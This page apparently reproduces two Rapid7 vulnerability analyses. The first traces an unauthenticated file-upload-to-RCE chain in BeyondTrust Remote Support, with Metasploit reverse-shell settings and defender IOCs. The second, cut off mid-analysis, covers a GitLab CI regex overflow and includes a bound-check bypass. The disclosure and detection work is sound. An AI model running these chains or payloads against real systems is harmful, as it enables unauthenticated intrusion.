❌

Normal view

There are new articles available, click to refresh the page.
Before yesterdayMain stream

Rapid7 Analysis: Unauthenticated File Upload to RCE in BeyondTrust Remote Support (CVE-2026-102764)

30 October 2026 at 12:01

Overview

An origin-validation flaw in BeyondTrust Remote Support lets an unauthenticated attacker write files on the appliance and execute code as the site's operating-system user. The entry point is the public customer connection used to start a support session. No account credentials or user interaction are required.

The flaw sits between the internal message router, brain, and an appliance-side customer worker, thin-scc. An attacker can put a reserved local router ID into a message's source address. The router forwards the message, and the worker accepts that address as proof that the request came from a local component. This gives the attacker access to an internal file-transfer service, including its native filesystem provider.

We first confirmed the file write then used the primitive to upload a PHP file to the site's public directory. Requesting that file gave us code execution as the site user. A Metasploit module now implements the chain with PHP and Unix Command targets.

We tested Remote Support 24.1.2, build 1524046, revision 4208-ddcf90715106aa0c0e19c103f8d2c412af4beff3. The test appliance had public issue-menu session starts and thin chat enabled (default). Other affected releases and fixed builds have not been established. The VM's base appliance version of Secure Remote Access, 7.1.0, is separate from the Remote Support application version. 

Impact

The attacker controls both the contents of an uploaded file and its destination path, subject to the worker's filesystem permissions. The same origin forgery also reaches the file-send operation. We used it to retrieve /proc/self/environ to determine the base installation path of the Remote Support before dropping the payload

On the tested appliance, the native file service could write into the PHP document root. The Metasploit module returns code execution in the context of msfuser, UID 1000, which establishes unauthenticated remote code execution as the site user.

Technical Analysis

We will demonstrate how an attacker can start an anonymous session and then forge a message that the appliance will accept as local. Then outline how we can reach the native file transfer service, choose the uploaded file’s contents and destination and turn the file write into PHP execution.

Addresses use Ghidra image base 0x100000. Subtract that value for the raw ELF virtual address. Function names beginning with FUN_ are Ghidra labels; descriptive names are taken from diagnostic strings where available.

Starting an anonymous customer session

We begin by obtaining two customer keys from POST /api/start_session. These are fresh public guest sessions. The keys let the client use the customer transport, but do not identify a logged-in account. Each guest connects through the /nw WebSocket endpoint, using either the native or thin customer protocol.

source/app/write_app_chooser_config:

echo "ingredi support desk customer:|$BG_app_root/data/tmp/brain.sock" # [A1]
echo "ingredi support desk customer thin:$BG_app_root/app/thin-scc-wrapper" # [A2]

app/write_app_chooser_config shows where the two customer protocols go. The native protocol reaches the brain socket at [A1]; the thin protocol launches a wrapper at [A2].

source/app/thin-scc-wrapper:

# ... omitted: protocol parsing and the alternative debug-site branch ...

quoted=$(export PHPRC="$BG_app_root/config/php-cli.ini"; echo $gskey | $ingrediRoot/app/dbquote)
if [[ $(echo "SELECT COUNT(1) FROM gw_sessions WHERE session_key = $quoted AND session_type = 'sdcust' AND (expiration IS NULL OR expiration>NOW())" | $db) != "1" ]]; then # [A3]
    echo "1 failure" >&0
    exit 0
fi

# ... omitted: reconnect throttling, customer-name setup, and settings generation ...

app/thin-scc-wrapper checks that the thin customer's key belongs to an unexpired sdcust session at [A3]. A key obtained through the public session-start endpoint passes this check.

app/thin-scc-wrapper, after the session check:

echo "0 success" >&0
workDir=`handleThinMint "$thinMint"` || exit

if [[ ! -f "$workDir/thin-scc" ]]; then
    pushd "$workDir"
    cp $ingrediRoot/app/thin-scc .
    # ... omitted: license, image, and settings.ini setup ...
else
    pushd "$workDir"
fi

export BRAIN_MELD_SOCKET_PATH=$ingrediRoot/data/tmp/brain.sock
# ... omitted: server-side environment initialization ...
./thin-scc # [A4] Starts the worker inside the appliance environment.
exitStatus=$?

The same wrapper then prepares a working directory and starts thin-scc at [A4]. This process runs on the appliance, even though it is handling an anonymous customer's thin session.

The native connection gives us a client for the internal message-routing system, referred to here as MRS. The thin connection gives us an appliance-side worker to address. Neither step requires a representative to accept the session.

A network message can claim to be local

MRS addresses have three parts: node:router:handler. Each message carries source and destination addresses in a 36-byte header made up of nine little-endian 32-bit fields.

Header offset

Field

Value used by the exploit

0x04

Source node

The customer's normal node

0x08

Source router

Changed to the reserved value 1

0x0c

Destination node

The worker's node

0x10

Destination router

The worker's router

0x14

Destination handler

Main dispatcher, 2048, on the tested build

0x24

Payload

Service name, newline, then packed fields

app/brain — ingress check:

if (*(int *)((long)param_2 + 0xc) == *(int *)(param_1 + 0x10)) {
    *(uint *)(param_2 + 4) = (uint)*(byte *)(param_2 + 4);

    if ((*(int *)(param_2 + 1) == *(int *)((long)param_1 + 0x84)) &&
        (param_3 != (ulong **)0x0)) { // [B1] Rejects a network claim of this router's actual ID.
        if (lRam0000000001ec8610 != 0) {
            func_0x0168de00(
                0x15, 3,
                "dropping spoofed message that came in from the network but has a routerID of our own\n"
            );
        }
    }
    else if (*(int *)((long)param_1 + 0x84) == *(int *)(param_2 + 2)) {
        // ... omitted: delivery to a handler on this router ...
    }
    else {
        // ... omitted: TTL checks, route lookup, and forwarding branches ...
    }
}

app/brain has an anti-spoofing check in FUN_01566ae0, identified by its handleMessageFromOtherRouter diagnostic. At [B1], it rejects a network packet whose source router matches the receiving router's actual ID.

Here, param_1 is the receiving router, param_2 is the packet, and param_3 is the incoming connection. Because param_2 points to eight-byte elements, *(int *)(param_2 + 1) reads the source router at byte offset 0x08.

That leaves a gap: the check compares against the actual router ID, while downstream code also recognises a reserved local alias. On this appliance, the alias is 1.

// ... omitted: destination route resolution, loop checks, and diagnostic logging ...
FUN_0155ec40(
    ppuStack_1300,
    ppuVar6,
    param_2, // [B2] Forwards the packet carrying the caller-supplied source router.
    (int *)((long)param_2 + 0x24)
);

The forwarding path in the same app/brain function passes the packet onward at [B2]. It does not remove the source claim that matters to the worker's local-origin check.

app/brain — local-address predicate:

bool FUN_0155ad40(long param_1, int *param_2)
{
    bool bVar1;

    bVar1 = false;
    if (*param_2 == *(int *)(param_1 + 0x80)) { // [C1] Address node must match the local node.
        bVar1 = true;
        if (param_2[1] != 1) { // [C2] Router 1 returns true without the actual-ID comparison.
            return *(int *)(param_1 + 0x84) == param_2[1];
        }
    }
    return bVar1;
}

The local-address predicate makes the mismatch clear. In app/brain, FUN_0155ad40 first checks the node at [C1]. If that matches, router 1 is enough to return true at [C2]; the comparison with the actual local router is skipped.

The rule is effectively node AND (router == 1 OR router == actual local router). An address supplied by a network client is being used to make that decision.

app/thin-scc — message-origin wrapper:

UNRECOVERED_JUMPTABLE = *(code **)(**(long **)(*param_1 + 8) + 0x50);
(*UNRECOVERED_JUMPTABLE)(
    *(long **)(*param_1 + 8),
    param_1 + 0xb, // [C3] Uses the dispatched message's sender address at byte offset 0x58.
    UNRECOVERED_JUMPTABLE
);

The corresponding message wrapper in app/thin-scc, passes the message's sender address into its router object's local-address predicate at [C3]. Ghidra did not recover a reliable prototype for this indirect call; the caller consumes its result as a boolean.

We checked this behaviour with the same file-service request under two origins. The ordinary customer source produced no file-service connection during a two-second observation. Changing the source router to 1 caused the worker to accept it.

Reaching the native file-transfer service

In app/thin-scc, FUN_0047a850 dispatches file-transfer messages.

app/thin-scc — file-transfer dispatcher:

cVar3 = func_0x0068e930(param_2); // [D1] Locality is derived from the message sender address.
if (cVar3 == '\0') {
    if (lRam00000000009bade8 != 0) {
        puVar5 = (undefined8 *)func_0x0068efe0(param_2);
        func_0x00309380(0x66, 3, "DISCARDING NONLOCAL MESSAGE: %s\n", *puVar5);
    }
}
else {
    func_0x0046d370(aplStack_68, "ftsName");
    lVar7 = param_2 + 0x28;
    lVar1 = param_2 + 0x30;
    lVar6 = func_0x002a1970(lVar7, aplStack_68);
    if (lVar1 == lVar6) {
        puVar5 = (undefined8 *)0x9c3700;
    }
    else {
        puVar5 = (undefined8 *)(lVar6 + 0x40);
    }

    if ((puVar5[1] == *(long *)(param_1 + 0x2a8)) &&
        ((puVar5[1] == 0 ||
          (iVar4 = func_0x001804b0(*puVar5, *(undefined8 *)(param_1 + 0x2a0)),
           iVar4 == 0)))) { // [D2] Matches the requested filesystem service name.
        // ... omitted: string cleanup, optional reply check, and action dispatch shown below ...
    }
    // ... omitted: mismatched-name cleanup ...
}

It calls the origin wrapper at [D1] and discards a message if that wrapper says the sender is nonlocal. Once that check passes, [D2] matches ftsName against the service instance's name.

The same function only validates responseAddress when the field is nonempty. The exploit omits it, taking the branch at [D3].

app/thin-scc, reply-address handling in FUN_0047a850:

func_0x0046d370(auStack_a8, "responseAddress");
lVar6 = func_0x002a1970(lVar7, auStack_a8);
if (lVar6 == lVar1) {
    lVar6 = 0x9c3700;
}
else {
    lVar6 = lVar6 + 0x40;
}

if (*(long *)(lVar6 + 8) == 0) { // [D3] No reply-address validation when the field is empty.
    func_0x001edfe0(auStack_a8);
}
else {
    func_0x0046d370(auStack_88, "responseAddress");
    lVar8 = func_0x002a1970(lVar7, auStack_88);
    lVar6 = lVar8 + 0x40;
    if (lVar8 == lVar1) {
        lVar6 = 0x9c3700;
    }
    func_0x006f2e80(auStack_b4, lVar6);
    func_0x0046d370(aplStack_68, "processMessage");
    cVar3 = func_0x0068e950(param_2, aplStack_68, auStack_b4); // [D4]
    // ... omitted: temporary string destruction ...
    if (cVar3 == '\0') goto LAB_0047a8be;
}

The validator called at [D4] compares the reply address against the message's sender address. It does not independently establish where that sender came from, so making this field mandatory would not fix the origin forgery.

app/thin-scc, action handling in FUN_0047a850:

// ... omitted: action extraction and unrelated action cases ...
iVar4 = func_0x0046d240(uVar9, uVar2, "DownloadAnonymousFiles");
if (iVar4 == 0) {
    uVar9 = FUN_00475820(param_1, param_2); // [D5] Receives a file into the selected provider.
    goto LAB_0047a8c0;
}

// ... omitted: DownloadFiles case ...
iVar4 = func_0x0046d240(uVar9, uVar2, "UploadFiles");
if (iVar4 == 0) {
    uVar9 = FUN_00477be0(param_1, param_2); // [D6] Sends a file from the selected provider.
    goto LAB_0047a8c0;
}

The dispatcher then exposes DownloadAnonymousFiles at [D5] and UploadFiles at [D6].

The action names describe the worker's side of the transfer. DownloadAnonymousFiles receives bytes onto the appliance; UploadFiles sends a file out. To upload our file, we ask the worker to download it from an MRS listener we control.

The important thing to note here is that the worker has more than one filesystem provider. The session service delegates filesystem work to the browser. A successful transfer through that service does not prove a file was written on the appliance. The local service uses native file objects instead.

app/thin-scc — native service construction:

uVar3 = func_0x00770620(0x310);
plVar4 = (long *)func_0x00770620(8);
func_0x003454a0(plVar4); // [E1] Constructs the native filesystem provider.

pplStack_c0 = (long **)0x0;
plStack_c8 = plVar4;
pplStack_c0 = (long **)func_0x00770620(0x18);
plVar1 = _DAT_007d4de0;
pplStack_c0[2] = plVar4;
pplStack_c0[1] = plVar1;
*pplStack_c0 = (long *)&UNK_0098cee0;

plStack_60 = (long *)0x5;
uStack_58 = (long *)CONCAT26(uStack_58._6_2_, 0x6c61636f6c); // [E2] ASCII "local".
plStack_68 = &uStack_58;
FUN_00472550(uVar3, &plStack_68, param_3, &plStack_c8); // [E3] Service receives name and provider.
param_1[0x9d] = uVar3;

// ... omitted: string/provider reference cleanup and other ServerContext services ...

The ServerContext constructor in app/thin-scc, FUN_002ae620, creates that native provider at [E1]. It builds the name local at [E2] and passes both to the file-transfer service constructor at [E3].

The exploit therefore uses ftsName=local. The native file factory analysis follows this provider to the native file and filesystem-info constructors.

Choosing the file contents and destination

app/thin-scc, FUN_00475820 , handles DownloadAnonymousFiles. 

app/thin-scc — anonymous-download request:

// ... omitted: overwrite/resume options and transfer metadata setup ...
func_0x0046d370(aplStack_128, "downloadToken");
lVar8 = func_0x002a1970(lVar12, aplStack_128);
lVar6 = lVar8 + 0x40;
if (lVar8 == param_2) {
    lVar6 = 0x9c3700;
}
func_0x001edf30(&puStack_68, lVar6); // [F1] Caller-supplied transfer token.

func_0x0046d370(aplStack_148, "serverAddress");
lVar8 = func_0x002a1970(lVar12, aplStack_148);
lVar6 = lVar8 + 0x40;
if (lVar8 == param_2) {
    lVar6 = 0x9c3700;
}
func_0x006f2e80(auStack_1e4, lVar6); // [F2] Caller-supplied MRS file-server address.

func_0x0046d370(aplStack_168, "path");
lVar8 = func_0x002a1970(lVar12, aplStack_168);
lVar6 = lVar8 + 0x40;
if (lVar8 == param_2) {
    lVar6 = 0x9c3700;
}
func_0x001edf30(aplStack_88, lVar6); // [F3] Caller-supplied destination path.

uVar13 = (ulong)(iVar4 != 0);
iStack_1e8 = func_0x004a21c0(
    param_1, aplStack_88, auStack_1e4, &puStack_68, auStack_198, iVar5 == 0
); // [F4] Starts the download using the supplied path, server, and token.

// ... omitted: temporary destruction and transfer-response construction ...

The function reads the request's transfer token at [F1], MRS server address at [F2], and destination path at [F3]. All three reach the download routine at [F4].

In this excerpt, lVar12 points to the request's field map. param_2 has already been advanced to its map-end sentinel; 0x9c3700 represents an absent value.

app/thin-scc — MRS download connection:

(**(code **)(**(long **)(param_1 + 8) + 0x18))(
    &lStack_d8, *(long **)(param_1 + 8), param_3, 10000
); // [G1] Connects to the serverAddress supplied to this routine as param_3.

if ((lStack_d8 == 0) ||
    ((*(char *)(lStack_d8 + 0x30) != '\0' &&
      (*(char *)(lStack_d8 + 0x31) != '\0')))) {
    uVar4 = 0;
}
else {
    // ... omitted: request-map initialization ...
    func_0x00490020(&plStack_68, "request");
    lVar5 = func_0x00202790(auStack_b8, &plStack_68);
    func_0x001f5f10(
        lVar5, 0, *(undefined8 *)(lVar5 + 8), "get anonymous file", 0x12
    ); // [G2]

    // ... omitted: temporary key-string destruction ...
    func_0x00490020(&plStack_68, "token");
    uVar6 = func_0x00202790(auStack_b8, &plStack_68);
    func_0x001ee710(uVar6, param_4); // [G3] Copies the caller's downloadToken.

    // ... omitted: info field, serialization, send, and receive-thread setup ...
}

The download routine at 0x004a21c0 opens an MRS stream to our address at [G1]. It sends get anonymous file at [G2] with our token at [G3]. The token can be a 24 character random string because we control the listener.

// ... omitted: stream setup, relay metadata, and reference management ...
puVar7 = (undefined8 *)func_0x00770620(0x450);
// ... omitted: temporary setup and resume calculation ...
func_0x004a0700(puVar7, param_1, param_5, bVar8, param_7, param_8);
puVar7[0x81] = lStack_d8;
puVar7[0x82] = lVar5;
*puVar7 = &UNK_0099d3f8;
// ... omitted: relay address and transfer bookkeeping ...
func_0x001ee710(puVar7 + 0x13, param_2); // [G4] Retains the requested destination path.
// ... omitted: transfer registration and reference management ...
func_0x002fcae0(puVar7, 0x400000); // [G5] Starts the receive-files thread.

The same app/thin-scc routine puts the destination path into a receive-files thread at [G4] and starts it at [G5].

app/thin-scc — receive-files loop:

// ... omitted: "want file?" command match ...
func_0x00490020(ppplVar20, "dest_filename");
uVar12 = func_0x00202790(plStack_888, ppplVar20);
puStack_8b8 = &uStack_418;
func_0x001edf30(puStack_8b8, uVar12); // [H1] Copies the destination from transfer metadata.

// ... omitted: provider filesystem-info query and reference cleanup ...
bStack_931 = *(byte *)(plStack_848 + 0x1c);
pplStack_8d8 = (long **)(((ulong)pplStack_8d8 & 0xffffffffffffff00 |
                         (ulong)bStack_931) ^ 1);
puStack_900 = auStack_3f8;
if (bStack_931 == 1) {
    func_0x001edf30(puStack_900, puStack_8b8);
}
else {
    func_0x001fabe0(puStack_900, puStack_8b8, ".n$t"); // [H2] Temporary receive path.
}

The receive loop at 0x001d6430 consumes the file metadata we send over that stream. It copies dest_filename at [H1]. Depending on the provider's file information, it receives into that path or a temporary path ending in .n$t at [H2].

// ... omitted: "begin file" handling and provider file-object creation ...
func_0x00321f50(plStack_828, puStack_928);
plVar11 = plStack_828;
pcVar19 = *(code **)(*plStack_828 + 0xc0);
func_0x00490020(ppplVar20, "a+b");
cVar5 = (*pcVar19)(plVar11, puStack_900, ppplVar20, lStack_908); // [H3] Opens the receive file.

// ... omitted: open-failure handling, positioning, and transfer-loop branches ...
iVar7 = (**(code **)(*plVar11 + 0x20))(plVar11, plVar1, pplVar21, pplVar25, 1);
if (0 < iVar7) {
    pplStack_8d8 = (long **)(long)iVar7;
    lVar14 = *plStack_828;
    *(long *)(param_1 + 0x160) = (long)pplStack_8d8 + *(long *)(param_1 + 0x160);
    *(long *)(param_1 + 0x168) = (long)pplStack_8d8 + *(long *)(param_1 + 0x168);
    iVar9 = (**(code **)(lVar14 + 0xd8))(plStack_828, plVar1); // [H4] Writes received data.
    if (iVar7 != iVar9) {
        // ... omitted: errno extraction and "error writing to file" response ...
    }
    // ... omitted: progress and completion handling ...
}

After the omitted begin file code has executed, the same app/thin-scc receiver opens the file at [H3] and writes incoming data at [H4]. 

On completion, the receiver closes the file and, when a temporary path is used, renames it to the final destination. The service already accepts an absolute destination path, so no directory traversal is needed. The worker allows the request because it trusts the forged local source address.

From file upload to PHP execution

The next step is to choose a writable location that the web server would execute. The supplied config/apache_vhost.conf sets the document root to:

/home/msfuser/ingredi-24.1.2/app/www/public

An absolute upload into that directory succeeded. There is a small catch when requesting the file: a URL ending in .php returns 404, even while the file existed. app/www/public/.htaccess explains why. 

source/app/www/public/.htaccess:

# ... omitted: application routes and compatibility rewrites ...
RewriteCond %{THE_REQUEST} "^[^ ]* .*?\.php[?/ ].*$"
# [I1] Direct .php URLs return 404.
RewriteRule .* - [L,R=404]

# ... omitted: download-helper routes ...
RewriteCond %{REQUEST_FILENAME} !-d
RewriteCond %{REQUEST_FILENAME}\.php -f
# [I2] An extensionless URL executes the existing PHP file.
RewriteRule ^(.+)$ $1.php [L]

The rule at [I1] rejects a direct .php request. The rule at [I2] maps an extensionless URL to an existing PHP file.

Requesting the uploaded basename without .php executed our payload. It returned its absolute filename, EUID 1000, and the output of id. 

We also wanted to avoid guessing Remote Support’s working directory or the versioned installation name. The same native service can send us the worker's /proc/self/environ using UploadFiles. On this appliance, it contains:

BG_app_root=/home/msfuser/ingredi-24.1.2
BRAIN_MELD_SOCKET_PATH=/home/msfuser/ingredi-24.1.2/data/tmp/brain.sock

BG_app_root gives us the installation directory directly. Appending /app/www/public gives the upload destination; the socket path provides another way to identify the same root. There is one protocol wrinkle: procfs reports the environment file's size as zero, but the worker still streams its contents. We have to read through the data stream's EOF instead of stopping at the advertised size. 

Exploit

The Metasploit module carries out the chain using two fresh public customer sessions. It discovers the thin worker through Director.GetGatewaySessionValues for its own thin guest, sends the forged LocalFileTransfer request to the worker's main dispatcher, and serves the PHP bytes over its existing MRS connection. A separate upload server is not needed.

The module writes a random PHP filename into the site's public directory, then POSTs an execution token to the extensionless URL. The PHP file checks that token and unlinks itself before executing the payload. Target 0 runs a PHP payload; target 1 wraps a Unix command in PHP.

For a PHP Meterpreter payload, the basic configuration is:

use exploit/linux/http/beyondtrust_rs_mrs_file_upload
set RHOSTS 192.168.1.98
set TARGET 0
set PAYLOAD php/meterpreter/reverse_tcp
set LHOST 192.168.1.68
run verbose=true

Select target 0 and a compatible command payload, such as php/meterpreter/reverse_tcp. The module documentation covers the directory override and other options.

bt_rs_ra_1.png

Figure 1: Exploiting the anonymous file-transfer service with Metasploit.

Testing produced two PHP Meterpreter sessions, a command-wrapped PHP Meterpreter session, and a Bash shell. Both targets also ran with AutoCheck disabled, and immediate repeat exploitation succeeded. The Bash shell returned:

uid=1000(msfuser) gid=1000(msfuser) groups=1000(msfuser),16(cron),70(postgres)

IOCs

The excerpts below cover HTTP requests, native file-transfer activity in thin-scc, and customer connections recorded by brain. They come from our lab runs on 28–29 October 2026. Original timestamps, addresses, and paths are retained; session and transfer tokens are redacted where noted. Unrelated entries are omitted.

The site logs are stored under $BG_app_root/log/, where BG_app_root identifies the Remote Support installation directory:

Log

Evidence shown below

httpd_access.log

Public session creation and requests to uploaded PHP endpoints

thin-scc.log

Native file-transfer stream creation and routing errors

thin-scc-errors.log

Rejected file-transfer requests, including the action and destination path

brain.log

Customer connection records with client addresses and timestamps

Active workers also keep logs under $BG_app_root/data/tmp/sdcust_thin_client/<thinMint>/; the collection details below explain how these reach the site log directory. The installation path varies between appliances.

Requests to an uploaded PHP endpoint

The command-only Metasploit run created two public customer sessions, invoked its uploaded PHP endpoint, and then checked that the endpoint had gone. The relevant access-log lines are:

192.168.1.68 [28/Oct/2026:21:12:23 +0000] "POST /api/start_session HTTP/1.1" [0s] [Stat:200] [Size:1481] [Ref:-] [UA:Mozilla/5.0 (Macintosh; Intel Mac OS X 14.7; rv:133.0) Gecko/20100101 Firefox/133.0]
192.168.1.68 [28/Oct/2026:21:12:23 +0000] "POST /api/start_session HTTP/1.1" [0s] [Stat:200] [Size:1481] [Ref:-] [UA:Mozilla/5.0 (Macintosh; Intel Mac OS X 14.7; rv:133.0) Gecko/20100101 Firefox/133.0]
192.168.1.68 [28/Oct/2026:21:12:31 +0000] "POST /qdgusthrmlirprls HTTP/1.1" [0s] [Stat:200] [Size:0] [Ref:-] [UA:Mozilla/5.0 (Macintosh; Intel Mac OS X 14.7; rv:133.0) Gecko/20100101 Firefox/133.0]
192.168.1.68 [28/Oct/2026:21:12:38 +0000] "POST /qdgusthrmlirprls HTTP/1.1" [0s] [Stat:404] [Size:18] [Ref:-] [UA:Mozilla/5.0 (Macintosh; Intel Mac OS X 14.7; rv:133.0) Gecko/20100101 Firefox/133.0]
192.168.1.68 [28/Oct/2026:21:12:43 +0000] "GET /qdgusthrmlirprls HTTP/1.1" [0s] [Stat:404] [Size:18] [Ref:-] [UA:Python-urllib/3.9]

Here, /qdgusthrmlirprls mapped to qdgusthrmlirprls.php in the public directory. The first POST ran the command and returned 200. The later POST was the module's cleanup request; the GET independently checked the endpoint. Both received 404 after the file had deleted itself.

This gives defenders a sequence to investigate: public session creation followed by a request to a new, unfamiliar endpoint, potentially followed by 404s for the same path. Session creation alone is normal Remote Support activity. A 200 followed by a 404 is also insufficient by itself; correlate the requests with file changes, session records, and any unusual outbound connections.

The URL may not contain .php

The earlier PHP canary produced these lines:

192.168.1.68 [28/Oct/2026:20:50:07 +0000] "GET /msfcanary03d80193f0880b.php HTTP/1.1" [0s] [Stat:404] [Size:18] [Ref:-] [UA:Python-urllib/3.9]
192.168.1.68 [28/Oct/2026:20:50:35 +0000] "GET /msfcanary03d80193f0880b HTTP/1.1" [0s] [Stat:200] [Size:368] [Ref:-] [UA:Python-urllib/3.9]
192.168.1.68 [28/Oct/2026:20:50:35 +0000] "GET /msfcanary03d80193f0880b HTTP/1.1" [0s] [Stat:404] [Size:18] [Ref:-] [UA:Python-urllib/3.9]

The direct .php request failed, while the extensionless request executed the same file. The final 404 followed self-deletion. Detection that only searches for requests ending in .php would miss the successful request in this example.

The native transfer itself travels inside the customer MRS connection. These access-log entries show the HTTP trigger, not the file contents or the forged router ID. The captured HTTP log does not expose the inner MRS messages, so it cannot establish the origin bypass on its own.

Files and connections

Look for unexpected PHP files under the site's public directory and receive files ending in .php.n$t. An interrupted transfer may leave the temporary file even if the final URL returns 404. The .n$t suffix also belongs to the normal transfer implementation, so its presence needs context.

Native file-transfer traces

thin-scc.log and thin-scc-errors.log contain more direct evidence of the file-service requests. For example, this line from thin-scc-errors.log names the action, native provider, and intended PHP destination. Only ckey and downloadToken have been redacted:

20261029 17:01:33 999999 thin-scc 11801:proc{LocalFileTransfer}(t11832) FT:WARNING>DISCARDING NONLOCAL MESSAGE: LocalFileTransfer:action=DownloadAnonymousFiles;ckey=<REDACTED>;downloadToken=<REDACTED>;enableResume=0;ftsName=local;path=/home/msfuser/ingredi-24.1.2/app/www/public/envresolve28f788af6a1c39bf.php;serverAddress=1:1022182175:9000;wantOverwritePrompts=0

This was our negative control: the request used the customer's ordinary source address and was rejected. It is evidence of an attempted invocation, not a successful upload. The forged local source passes the check that produces this warning, so a successful exploit need not leave a DISCARDING NONLOCAL MESSAGE entry.

The successful PHP module run left these lines in thin-scc.log:

20261029 17:06:37    319 thin-scc 14419:proc{LocalFileTransfer}(t14486) MRS_STREAM:INFO>createStream: connecting to address 1:1129726787:1031
20261029 17:06:37      2 thin-scc 14419:proc{LocalFileTransfer}(t14486) MRS_CL:ERROR>nodeID not found in node list even after renumerating: 0
20261029 17:06:37      0 thin-scc 14419:proc{LocalFileTransfer}(t14486) MSG_DSP:ERROR>failed to create a mailbox for sending to: 0:0:0

Our requests omit responseAddress. The handler starts the transfer, then tries to send its action response to an empty address. That produces the 0:0:0 error without preventing the file write. The payload callback independently confirms execution at 17:06:37.

Look for this combination in the proc{LocalFileTransfer} context, especially around unfamiliar PHP requests or outbound connections. The 1:1129726787:1031 value identifies an internal MRS mailbox; use the brain connection records below for the client IP. These entries do not identify the written filename or prove execution on their own. The empty-address errors also depend on how the exploit request is constructed; another implementation may leave different traces.

Brain connection records

brain.log helps link the activity to a client address. These two entries preceded the same module run:

20261029 17:06:30      0 brain 6339:lstner(t06500) BRN_LSTN:INFO>received fd: 47 app name: 'ingredi support desk customer' and remoteIPAddress: '192.168.1.68' and localIPAddress: '192.168.1.98' and isLoopback '0'
20261029 17:06:30      0 brain 6339:lstner(t06500) BRN_LSTN:INFO>received fd: 49 app name: 'ingredi support desk customer' and remoteIPAddress: '192.168.1.68' and localIPAddress: '192.168.1.98' and isLoopback '1'

These are useful for a timeline, but customer connections are normal activity. We found no UploadFiles or DownloadAnonymousFiles action records in the captured brain logs. Generic EOF, connection-reset, and conference errors also appeared; they are too broad to treat as exploit indicators by themselves.

Where to collect the native logs

The aggregated logs are under $BG_app_root/log/. While a worker is running, its own logs are under $BG_app_root/data/tmp/sdcust_thin_client/<thinMint>/. The wrapper appends those logs to the site's log directory when the worker exits, then clears the per-worker copies. Collect both locations when investigating a live session.

The captured brain.ini and thin-scc.ini both had the debug output disabled with enabled=0. No debug log was captured, and we did not change the logging configuration. Brain's debug configuration also limits MRS_* categories to Info, so enabling its debug output alone would not guarantee detailed message payloads.

Names such as UploadFileStarted and DownloadFileEnded occur in the native protocol's callback code, but we did not find them in the collected logs. They should not be presented as default audit events

Rapid7 Analysis: GitLab CI/CD Regex Integer Overflow (CVE-2026-97229)

16 October 2026 at 09:31

Overview

On October 12, 2026, GitLab released 19.4.2, 19.3.5, and 19.2.8 to fix CVE-2026-97229, an integer overflow in its CI/CD regular-expression handling. The issue was reported through HackerOne by joaxcar. GitLab assigned it a CVSS score of 10.0 and described possible code execution by an unauthenticated user.

The advisory states that CVE-2026-97229 affects GitLab CE and EE from 19.2 before 19.2.8, 19.3 before 19.3.5, and 19.4 before 19.4.2. GitLab says all deployment types are affected unless stated otherwise. GitLab.com was patched before disclosure, and Dedicated customers do not need to act.

Rapid7 researchers developed an end-to-end PoC that reliably runs arbitrary commands as GitLab's git operating-system account on the official Linux amd64 gitlab/gitlab-ce:19.4.1-ce.0 image with ASLR enabled. GitLab's release notes do not report exploitation in the wild occurring at the time of disclosure.

This analysis covers one end-to-end route. It begins after an attacker has pushed both the malicious CI configuration and a specially named path to a public project; only the final CI lint request is unauthenticated. That prerequisite conflicts with GitLab's PR:N rating, and because the underlying report remains private, we do not yet know how the reported attack avoids it.

Technical analysis

At a high level, the chain crosses from attacker-controlled repository input into Onigmo pcode and finally native code execution.

Figure 1
Figure 1: From repository inputs to command execution.

CI rules pass repository paths to Onigmo

GitLab supports regular-expression matching over repository paths in rules:exists:regexp and rules:changes:regexp. One way to evaluate such an expression during static configuration processing is to place it on a conditional include:

include:
  - local: /benign.yml
    rules:
      - exists:
          regexp: "ATTACKER_PATTERN"

RegexpMatcher expands the expression, compiles it with Ruby's native regular-expression engine, and tests it against paths from the selected Git worktree:

# Exists#regexp_match?()
def regexp_match?(context)
  matcher = regexp_matcher(context)  matcher.validate_pattern_length! # [0] Source-length check

  Gitlab::SafeRequestStore.fetch(regexp_comparison_key(context, matcher.expanded_pattern)) do
    # ... top-level optimisation omitted
    matcher.match?(worktree_paths(context, false)) # [1] Repository paths
  end
end

# RegexpMatcher#match?()
def match?(paths)
  # ... path-count fail-open handling omitted
  pattern = compile_pattern # [2] Compile regexp
  deadline = current_monotonic_time + REGEXP_TOTAL_TIMEOUT_SECONDS

  paths.any? do |path|
    # ... total-budget check omitted
    pattern.match?(path) # [3] Native match
    # ... per-match timeout handling omitted
  end
end

By the time execution reaches [0], GitLab is checking only the length of the expanded source expression. The call at [1] supplies every filename in the selected commit, while compile_pattern at [2] ultimately invokes Regexp.new. Each iteration at [3] therefore crosses from CI configuration into native Onigmo with a repository path as the match subject.

Smuggling a large repeat through the checks

GitLab places several sensible limits around CI regular expressions. The interesting parts of its wrapper are shown below:

REPEAT_BOUND = /(?<!\\)(?:\\\\)*\{\s*(\d+)\s*(?:,\s*(\d+)?\s*)?\}/ # [4] Repeat scanner

def self.compile_regexp(pattern, timeout: nil)
  raise RegexpError, 'uses a subroutine call (\g), which is not allowed' if SUBROUTINE_CALL.match?(pattern) # [5] Subroutine-call check
  reject_large_repeats!(pattern) # [6] Repeat-bound check

  alternation_free = pattern.gsub(ESCAPE_OR_ALTERNATION) { |token| token == '|' ? '\\|' : token }

  probe =
    begin
      Regexp.new(alternation_free)
    rescue RegexpError => e
      # ... error-message rewriting omitted
    end

  check_compiled_size!(probe) # [7] Probe size check
  check_compiled_size!(Regexp.new(pattern, timeout: timeout)) # [8] Final size check
end

The source-length check occurs before this function. The subroutine-call check at [5] and the repeat-bound check at [6] defend against structural growth, but the scanner at [4] recognizes only contiguous digits. Compilation then happens twice: [7] checks an alternation-free probe, and [8] checks the requested expression and attaches the 50-millisecond timeout. Either object is rejected if it exceeds one megabyte.

The PoC hides its quantifier bound from the scanner at [4] via an inline comment: {5(?#)7805}

(?#) is an inline regex comment. Onigmo ignores it and reads the bound as 57,805. GitLab's scanner expects contiguous digits, so it does not see a bound above 1,000.

That bypass admits the large repeat, but the checked expression is still only 986 bytes. The six [[:word:]] classes expand when matching begins against a repository path containing valid four-byte UTF-8 characters. Ruby recompiles the same source for UTF-8, each POSIX word class expands into a large Unicode range table, and GitLab never checks the size of this new program.

Ruby selects or recompiles the regex before starting its timed matcher:

/* re.c: rb_reg_prepare_re() */
regex_t *reg = RREGEXP_PTR(re);
if (reg->enc == enc) return reg; // [9] Matching encoding

// ... source preprocessing and use-count branch omitted
r = onig_new_without_alloc(&tmp_reg, (UChar *)ptr, (UChar *)(ptr + len),
                           reg->options, enc,
                           OnigDefaultSyntax, &einfo); // [10] Onigmo recompile
